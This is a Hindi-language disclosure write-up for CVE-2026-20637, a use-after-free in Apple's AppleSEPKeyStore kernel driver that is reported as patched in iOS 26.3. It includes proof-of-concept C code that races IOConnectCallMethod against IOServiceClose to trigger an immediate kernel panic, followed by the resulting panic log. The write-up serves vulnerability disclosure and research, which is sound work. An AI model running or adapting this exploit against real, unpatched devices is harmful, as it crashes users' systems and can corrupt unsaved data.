
CVE-2026-20637: AppleSEPKeyStore Use-After-Free — iOS/macOS कर्नेल भेद्यता (26.4 में पैच की गई)
CVE-2026-20637 | लेखक: Johnny Franks (@zeroxjf)
घटक: AppleKeyStore
प्रभाव: कोई ऐप अप्रत्याशित सिस्टम समाप्ति का कारण बन सकता है
विवरण: बेहतर मेमोरी प्रबंधन के साथ यूज़-आफ्टर-फ्री समस्या का समाधान किया गया।
| iOS | 26.1 - 26.2 (परीक्षित) |
| macOS | 26.1 - 26.2 (परीक्षित) |
| घटक | com.apple.driver.AppleSEPKeyStore |
| पैच किया गया | iOS 26.3 / iPadOS 26.3 |
नोट: Apple ने इसे 26.2.1 - 26.3 के बीच धीरे-धीरे पैच किया हो सकता है, इसलिए यह मध्यवर्ती संस्करणों पर काम नहीं कर सकता है।
यह PoC प्रभावित डिवाइसों को तुरंत कर्नेल-पैनिक कर देता है। चलाने से पहले काम सहेज लें; बार-बार जबरन पैनिक होने से बिना सहेजी गई स्थिति दूषित हो सकती है।
IOCommandGate में यूज़-आफ्टर-फ्री, जो AppleKeyStore ओपन/क्लोज़ रेस के माध्यम से ट्रिगर होता है। आठ कॉलर थ्रेड सेलेक्टर 0-15 पर IOConnectCallMethod को बार-बार कॉल करते हैं, जबकि चार क्लोज़र थ्रेड IOServiceClose के साथ रेस करते हैं, जिससे एक ऐसी विंडो बनती है जहाँ फ्री होने के बाद कमांड गेट एक्सेस किया जाता है।
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 caller threads: hammer IOConnectCallMethod (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 closer threads: race IOServiceClose (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Main thread: 100k connections, no delay
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022 : (i % 4 == 1) ? 0xbeef : (i % 4 == 2) ? 0x1337 : 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// no delay: keep the close/call race window hot
}
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f